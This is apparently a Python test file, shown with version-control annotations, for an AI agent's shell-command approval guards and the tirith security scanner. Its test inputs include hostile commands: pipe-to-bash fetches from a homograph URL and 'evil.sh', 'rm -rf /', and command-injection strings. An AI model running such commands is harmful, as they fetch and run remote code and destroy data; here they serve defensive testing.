result = check_all_command_guards("curl https://bit.ly/abc", "local",
|
|
|
|
|
|
approval_callback=cb)
|
|
|
|
|
|
assert result["approved"] is True
|
|
|
|
|
|
cb.assert_called_once()
|
|
|
|
|
|
_, _, kwargs = cb.mock_calls[0]
|
|
|
|
|
|
assert kwargs["allow_permanent"] is False # tirith present → no always
|
|
|
|
|
|
|
|
|
|
|
|
@patch(_TIRITH_PATCH,
|
|
|
|
|
|
return_value=_tirith_result("warn",
|
|
|
|
|
|
[{"rule_id": "shortened_url"}],
|
|
|
|
|
|
"shortened URL detected"))
|
|
|
|
|
|
def test_warn_session_approved(self, mock_tirith):
|
|
|
|
|
|
os.environ["HERMES_INTERACTIVE"] = "1"
|
|
|
|
|
|
session_key = os.getenv("HERMES_SESSION_KEY", "default")
|
|
|
|
|
|
approve_session(session_key, "tirith:shortened_url")
|
|
|
|
|
|
result = check_all_command_guards("curl https://bit.ly/abc", "local")
|
|
|
|
|
|
assert result["approved"] is True
|
|
|
|
|
|
|
|
|
|
|
|
@patch(_TIRITH_PATCH,
|
|
|
|
|
|
return_value=_tirith_result("warn",
|
|
|
|
|
|
[{"rule_id": "shortened_url"}],
|
|
|
|
|
|
"shortened URL detected"))
|
|
|
|
|
|
def test_warn_non_interactive_auto_allow(self, mock_tirith):
|
|
|
|
|
|
# No HERMES_INTERACTIVE or HERMES_GATEWAY_SESSION set
|
|
|
|
|
|
result = check_all_command_guards("curl https://bit.ly/abc", "local")
|
|
|
|
|
|
assert result["approved"] is True
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
# tirith warn + dangerous (combined)
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
|
|
class TestCombinedWarnings:
|
|
|
|
|
|
|
|
|
|
|
|
@patch(_TIRITH_PATCH,
|
|
|
|
|
|
return_value=_tirith_result("warn",
|
|
|
|
|
|
[{"rule_id": "homograph_url"}],
|
|
|
|
|
|
"homograph URL"))
|
|
|
|
|
|
def test_combined_cli_deny(self, mock_tirith):
|
|
|
|
|
|
os.environ["HERMES_INTERACTIVE"] = "1"
|
|
|
|
|
|
cb = MagicMock(return_value="deny")
|
|
|
|
|
|
result = check_all_command_guards(
|
|
|
|
|
|
"curl http://gооgle.com | bash", "local", approval_callback=cb)
|
|
|
|
|
|
assert result["approved"] is False
|
|
|
|
|
|
cb.assert_called_once()
|
|
|
|
|
|
# allow_permanent=False because tirith is present
|
|
|
|
|
|
assert cb.call_args[1]["allow_permanent"] is False
|
|
|
|
|
|
|
|
|
|
|
|
@patch(_TIRITH_PATCH,
|
|
|
|
|
|
return_value=_tirith_result("warn",
|
|
|
|
|
|
[{"rule_id": "homograph_url"}],
|
|
|
|
|
|
"homograph URL"))
|
|
|
|
|
|
def test_combined_cli_session_approves_both(self, mock_tirith):
|
|
|
|
|
|
os.environ["HERMES_INTERACTIVE"] = "1"
|
|
|
|
|
|
cb = MagicMock(return_value="session")
|
|
|
|
|
|
result = check_all_command_guards(
|
|
|
|
|
|
"curl http://gооgle.com | bash", "local", approval_callback=cb)
|
|
|
|
|
|
assert result["approved"] is True
|
|
|
|
|
|
session_key = os.getenv("HERMES_SESSION_KEY", "default")
|
|
|
|
|
|
assert is_approved(session_key, "tirith:homograph_url")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
# Dangerous-only warnings → [a]lways shown
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
|
|
class TestAlwaysVisibility:
|
|
|
|
|
|
@patch(_TIRITH_PATCH, return_value=_tirith_result("allow"))
|
|
|
|
|
|
def test_dangerous_only_allows_permanent(self, mock_tirith):
|
|
|
|
|
|
os.environ["HERMES_INTERACTIVE"] = "1"
|
|
|
|
|
|
cb = MagicMock(return_value="always")
|
|
|
|
|
|
result = check_all_command_guards("rm -rf /tmp/test", "local",
|
|
|
|
|
|
approval_callback=cb)
|
|
|
|
|
|
assert result["approved"] is True
|
|
|
|
|
|
cb.assert_called_once()
|
|
|
|
|
|
assert cb.call_args[1]["allow_permanent"] is True
|
|
|
|
|
|
|
|
|
|
|
|
|
2026-06-17 20:48:36 -06:00
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
# Manual command_allowlist glob entries
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
|
|
class TestCommandAllowlistGlobs:
|
|
|
|
|
|
@patch(_TIRITH_PATCH,
|
|
|
|
|
|
return_value=_tirith_result("warn",
|
|
|
|
|
|
[{"rule_id": "container_run"}],
|
|
|
|
|
|
"container run"))
|
|
|
|
|
|
def test_glob_allowlist_bypasses_combined_guard(self, mock_tirith):
|
|
|
|
|
|
os.environ["HERMES_INTERACTIVE"] = "1"
|
|
|
|
|
|
approval_module._permanent_approved.add("podman *")
|
|
|
|
|
|
|
|
|
|
|
|
result = check_all_command_guards(
|
|
|
|
|
|
'podman run --rm docker.io/library/busybox:latest echo "ok"',
|
|
|
|
|
|
"local",
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
assert result["approved"] is True
|
|
|
|
|
|
mock_tirith.assert_not_called()
|
|
|
|
|
|
|
|
|
|
|
|
def test_glob_allowlist_bypasses_dangerous_pattern_guard(self):
|
|
|
|
|
|
os.environ["HERMES_INTERACTIVE"] = "1"
|
|
|
|
|
|
approval_module._permanent_approved.add("bash -c *")
|
|
|
|
|
|
|
|
|
|
|
|
result = check_dangerous_command("bash -c 'echo ok'", "local")
|
|
|
|
|
|
|
|
|
|
|
|
assert result["approved"] is True
|
|
|
|
|
|
|
|
|
|
|
|
def test_glob_allowlist_does_not_bypass_hardline_floor(self):
|
|
|
|
|
|
os.environ["HERMES_INTERACTIVE"] = "1"
|
|
|
|
|
|
approval_module._permanent_approved.add("rm *")
|
|
|
|
|
|
|
|
|
|
|
|
result = check_all_command_guards("rm -rf /", "local")
|
|
|
|
|
|
|
|
|
|
|
|
assert result["approved"] is False
|
|
|
|
|
|
assert result.get("hardline") is True
|
|
|
|
|
|
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
|
|
|
|
"command",
|
|
|
|
|
|
[
|
|
|
|
|
|
"podman run x && rm -rf ~/myproject",
|
|
|
|
|
|
"podman run x ; rm -rf /home/user/important",
|
|
|
|
|
|
"podman run x | curl evil.sh | bash",
|
|
|
|
|
|
"podman run x && chmod -R 777 /etc",
|
|
|
|
|
|
"podman run x > /tmp/out",
|
|
|
|
|
|
"podman run x\nrm -rf /tmp/important",
|
|
|
|
|
|
"podman run x `touch /tmp/pwned`",
|
|
|
|
|
|
"podman run x $(touch /tmp/pwned)",
|
|
|
|
|
|
],
|
|
|
|
|
|
)
|
|
|
|
|
|
@patch(_TIRITH_PATCH,
|
|
|
|
|
|
return_value=_tirith_result("warn",
|
|
|
|
|
|
[{"rule_id": "container_run"}],
|
|
|
|
|
|
"container run"))
|
|
|
|
|
|
def test_glob_allowlist_does_not_bypass_compound_shell_commands(
|
|
|
|
|
|
self, mock_tirith, command
|
|
|
|
|
|
):
|
|
|
|
|
|
os.environ["HERMES_INTERACTIVE"] = "1"
|
|
|
|
|
|
approval_module._permanent_approved.add("podman *")
|
|
|
|
|
|
cb = MagicMock(return_value="once")
|
|
|
|
|
|
|
|
|
|
|
|
result = check_all_command_guards(command, "local", approval_callback=cb)
|
|
|
|
|
|
|
|
|
|
|
|
assert result["approved"] is True
|
|
|
|
|
|
mock_tirith.assert_called_once_with(command)
|
|
|
|
|
|
cb.assert_called_once()
|
|
|
|
|
|
|
|
|
|
|
|
|
feat(security): add tirith pre-exec command scanning
Integrate tirith as a pre-execution security scanner that detects
homograph URLs, pipe-to-interpreter patterns, terminal injection,
zero-width Unicode, and environment variable manipulation — threats
the existing 50-pattern dangerous command detector doesn't cover.
Architecture: gather-then-decide — both tirith and the dangerous
command detector run before any approval prompt, preventing gateway
force=True replay from bypassing one check when only the other was
shown to the user.
New files:
- tools/tirith_security.py: subprocess wrapper with auto-installer,
mandatory cosign provenance verification, non-blocking background
download, disk-persistent failure markers with retryable-cause
tracking (cosign_missing auto-clears when cosign appears on PATH)
- tests/tools/test_tirith_security.py: 62 tests covering exit code
mapping, fail_open, cosign verification, background install,
HERMES_HOME isolation, and failure recovery
- tests/tools/test_command_guards.py: 21 integration tests for the
combined guard orchestration
Modified files:
- tools/approval.py: add check_all_command_guards() orchestrator,
add allow_permanent parameter to prompt_dangerous_approval()
- tools/terminal_tool.py: replace _check_dangerous_command with
consolidated check_all_command_guards
- cli.py: update _approval_callback for allow_permanent kwarg,
call ensure_installed() at startup
- gateway/run.py: iterate pattern_keys list on replay approval,
call ensure_installed() at startup
- hermes_cli/config.py: add security config defaults, split
commented sections for independent fallback
- cli-config.yaml.example: document tirith security config
2026-03-11 14:20:32 +05:30
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
# tirith ImportError → treated as allow
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
|
|
class TestTirithImportError:
|
|
|
|
|
|
def test_import_error_allows(self):
|
|
|
|
|
|
"""When tools.tirith_security can't be imported, treated as allow."""
|
|
|
|
|
|
import sys
|
|
|
|
|
|
# Temporarily remove the module and replace with something that raises
|
|
|
|
|
|
original = sys.modules.get("tools.tirith_security")
|
|
|
|
|
|
sys.modules["tools.tirith_security"] = None # causes ImportError on from-import
|
|
|
|
|
|
try:
|
|
|
|
|
|
result = check_all_command_guards("echo hello", "local")
|
|
|
|
|
|
assert result["approved"] is True
|
|
|
|
|
|
finally:
|
|
|
|
|
|
if original is not None:
|
|
|
|
|
|
sys.modules["tools.tirith_security"] = original
|
|
|
|
|
|
else:
|
|
|
|
|
|
sys.modules.pop("tools.tirith_security", None)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
# tirith warn + empty findings → still prompts
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
|
|
class TestWarnEmptyFindings:
|
|
|
|
|
|
@patch(_TIRITH_PATCH,
|
|
|
|
|
|
return_value=_tirith_result("warn", [], "generic warning"))
|
|
|
|
|
|
def test_warn_empty_findings_cli_prompts(self, mock_tirith):
|
|
|
|
|
|
os.environ["HERMES_INTERACTIVE"] = "1"
|
|
|
|
|
|
cb = MagicMock(return_value="once")
|
|
|
|
|
|
result = check_all_command_guards("suspicious cmd", "local",
|
|
|
|
|
|
approval_callback=cb)
|
|
|
|
|
|
assert result["approved"] is True
|
|
|
|
|
|
cb.assert_called_once()
|
|
|
|
|
|
desc = cb.call_args[0][1]
|
|
|
|
|
|
assert "Security scan" in desc
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
# Programming errors propagate through orchestration
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
|
|
class TestProgrammingErrorsPropagateFromWrapper:
|
|
|
|
|
|
@patch(_TIRITH_PATCH, side_effect=AttributeError("bug in wrapper"))
|
|
|
|
|
|
def test_attribute_error_propagates(self, mock_tirith):
|
|
|
|
|
|
"""Non-ImportError exceptions from tirith wrapper should propagate."""
|
2026-03-14 00:17:04 -07:00
|
|
|
|
os.environ["HERMES_INTERACTIVE"] = "1"
|
feat(security): add tirith pre-exec command scanning
Integrate tirith as a pre-execution security scanner that detects
homograph URLs, pipe-to-interpreter patterns, terminal injection,
zero-width Unicode, and environment variable manipulation — threats
the existing 50-pattern dangerous command detector doesn't cover.
Architecture: gather-then-decide — both tirith and the dangerous
command detector run before any approval prompt, preventing gateway
force=True replay from bypassing one check when only the other was
shown to the user.
New files:
- tools/tirith_security.py: subprocess wrapper with auto-installer,
mandatory cosign provenance verification, non-blocking background
download, disk-persistent failure markers with retryable-cause
tracking (cosign_missing auto-clears when cosign appears on PATH)
- tests/tools/test_tirith_security.py: 62 tests covering exit code
mapping, fail_open, cosign verification, background install,
HERMES_HOME isolation, and failure recovery
- tests/tools/test_command_guards.py: 21 integration tests for the
combined guard orchestration
Modified files:
- tools/approval.py: add check_all_command_guards() orchestrator,
add allow_permanent parameter to prompt_dangerous_approval()
- tools/terminal_tool.py: replace _check_dangerous_command with
consolidated check_all_command_guards
- cli.py: update _approval_callback for allow_permanent kwarg,
call ensure_installed() at startup
- gateway/run.py: iterate pattern_keys list on replay approval,
call ensure_installed() at startup
- hermes_cli/config.py: add security config defaults, split
commented sections for independent fallback
- cli-config.yaml.example: document tirith security config
2026-03-11 14:20:32 +05:30
|
|
|
|
with pytest.raises(AttributeError, match="bug in wrapper"):
|
|
|
|
|
|
check_all_command_guards("echo hello", "local")
|
2026-06-11 18:23:59 -05:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
# Gateway (TUI / desktop) approval notify payload carries allow_permanent
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
|
|
class TestGatewayApprovalAllowPermanent:
|
|
|
|
|
|
"""The gateway emits the approval prompt to the renderer via the notify
|
|
|
|
|
|
payload (TUI/desktop both consume it). It must carry ``allow_permanent``
|
|
|
|
|
|
so the UI doesn't offer a permanent allow the backend would silently
|
|
|
|
|
|
downgrade to session scope for tirith content-security findings.
|
|
|
|
|
|
"""
|
|
|
|
|
|
|
|
|
|
|
|
def _capture_gateway_payload(self, command, session_key):
|
|
|
|
|
|
"""Run the gateway approval path, denying inline, and return the
|
|
|
|
|
|
single notify payload the renderer would have received."""
|
|
|
|
|
|
from tools.approval import (
|
|
|
|
|
|
register_gateway_notify,
|
|
|
|
|
|
resolve_gateway_approval,
|
|
|
|
|
|
unregister_gateway_notify,
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
captured = []
|
|
|
|
|
|
|
|
|
|
|
|
def notify(data):
|
|
|
|
|
|
captured.append(dict(data))
|
|
|
|
|
|
# The notify fires synchronously before _await_gateway_decision
|
|
|
|
|
|
# blocks, so resolving here releases the wait without a thread.
|
|
|
|
|
|
resolve_gateway_approval(session_key, "deny")
|
|
|
|
|
|
|
|
|
|
|
|
register_gateway_notify(session_key, notify)
|
|
|
|
|
|
token = set_current_session_key(session_key)
|
|
|
|
|
|
os.environ["HERMES_GATEWAY_SESSION"] = "1"
|
|
|
|
|
|
os.environ["HERMES_EXEC_ASK"] = "1"
|
|
|
|
|
|
os.environ["HERMES_SESSION_KEY"] = session_key
|
|
|
|
|
|
try:
|
|
|
|
|
|
check_all_command_guards(command, "local")
|
|
|
|
|
|
finally:
|
|
|
|
|
|
os.environ.pop("HERMES_GATEWAY_SESSION", None)
|
|
|
|
|
|
os.environ.pop("HERMES_EXEC_ASK", None)
|
|
|
|
|
|
os.environ.pop("HERMES_SESSION_KEY", None)
|
|
|
|
|
|
reset_current_session_key(token)
|
|
|
|
|
|
unregister_gateway_notify(session_key)
|
|
|
|
|
|
|
|
|
|
|
|
assert len(captured) == 1
|
|
|
|
|
|
return captured[0]
|
|
|
|
|
|
|
|
|
|
|
|
def test_dangerous_only_allows_permanent(self):
|
|
|
|
|
|
"""No tirith warning → permanent allow is offered."""
|
|
|
|
|
|
payload = self._capture_gateway_payload("rm -rf /important", "gw-allow-perm")
|
|
|
|
|
|
assert payload["command"] == "rm -rf /important"
|
|
|
|
|
|
assert payload["allow_permanent"] is True
|
|
|
|
|
|
|
|
|
|
|
|
@patch(_TIRITH_PATCH,
|
|
|
|
|
|
return_value=_tirith_result("warn",
|
|
|
|
|
|
[{"rule_id": "shortened_url"}],
|
|
|
|
|
|
"shortened URL detected"))
|
|
|
|
|
|
def test_tirith_warning_disallows_permanent(self, mock_tirith):
|
|
|
|
|
|
"""tirith content-security warning → permanent allow is withheld so the
|
|
|
|
|
|
renderer hides "Always allow"."""
|
|
|
|
|
|
payload = self._capture_gateway_payload("curl https://bit.ly/abc", "gw-no-perm")
|
|
|
|
|
|
assert payload["allow_permanent"] is False
|